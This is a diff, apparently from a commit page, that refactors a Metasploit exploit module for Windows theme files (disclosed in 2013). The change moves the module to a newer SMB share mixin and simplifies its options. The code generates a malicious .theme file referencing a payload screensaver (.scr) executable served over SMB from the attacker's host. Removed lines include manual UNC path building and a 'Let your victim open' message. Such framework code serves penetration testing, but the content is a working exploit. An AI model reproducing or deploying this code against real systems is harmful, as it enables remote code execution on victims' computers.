@@ -10,7 +10,7 @@ class Metasploit3 < Msf::Exploit::Remote
10
10
11
11
include Msf ::Exploit ::FILEFORMAT
12
12
include Msf ::Exploit ::EXE
13
- include Msf ::Exploit ::Remote ::SMBFileServer
13
+ include Msf ::Exploit ::Remote ::SMB :: Server :: Share
14
14
15
15
def initialize ( info = { } )
16
16
super ( update_info ( info ,
@@ -57,34 +57,18 @@ def initialize(info={})
57
57
'Privileged' => false ,
58
58
'DisclosureDate' => "Sep 10 2013" ,
59
59
'DefaultTarget' => 0 ) )
60
-
61
- register_options (
60
+ register_options (
62
61
[
63
- OptString . new ( 'FILENAME' , [ true , 'The theme file' , 'msf.theme' ] ) ,
64
- OptString . new ( 'SHARE' , [ false , 'A static share path (ie. "share")' ] ) ,
65
- OptString . new ( 'SCR' , [ false , 'A static SCR name (ie. "exploit.scr")' ] )
62
+ OptString . new ( 'FILENAME' , [ true , 'The theme file' , 'msf.theme' ] ) ,
63
+ OptString . new ( 'FILE_NAME' , [ false , 'SCR File name to share' , 'msf.scr' ] )
66
64
] , self . class )
65
+ deregister_options ( 'FILE_CONTENTS' )
67
66
end
68
67
69
68
def exploit
70
- print_status ( "Generating our malicious executable..." )
71
- exe = generate_payload_exe
72
- my_host = ( datastore [ 'SRVHOST' ] == '0.0.0.0' ) ? Rex ::Socket . source_address : datastore [ 'SRVHOST' ]
73
-
74
- if not datastore [ 'SHARE' ]
75
- @scr_file = rand_text_alpha ( 7 ) + ".scr"
76
- else
77
- @scr_file = datastore [ 'SCR' ]
78
- end
79
- if not datastore [ 'SHARE' ]
80
- @share = rand_text_alpha ( 5 )
81
- else
82
- @share = datastore [ 'SHARE' ]
83
- end
84
-
85
- @unc = "\\ \\ #{ my_host } \\ #{ @share } \\ #{ @scr_file } "
86
-
87
69
print_status ( "Creating '#{ datastore [ 'FILENAME' ] } ' file ..." )
70
+ self . exe_contents = generate_payload_exe
71
+ print_status ( "Malicious SCR available on #{ unc } ..." )
88
72
# Default Windows XP / 2003 theme modified
89
73
theme = <<-EOF
90
74
; Copyright (c) Microsoft Corp. 1995-2001
@@ -123,14 +107,6 @@ def exploit
123
107
MTSM=DABJDKT
124
108
EOF
125
109
file_create ( theme )
126
- print_good ( "Let your victim open #{ datastore [ 'FILENAME' ] } " )
127
-
128
- print_status ( "Starting SMB Server on: " + @unc )
129
- start_smb_server ( @unc , exe , @scr_file )
130
- while true
131
- break if session_created?
132
- sleep ( 1 )
133
- end
134
110
end
135
111
136
112
end
0 commit comments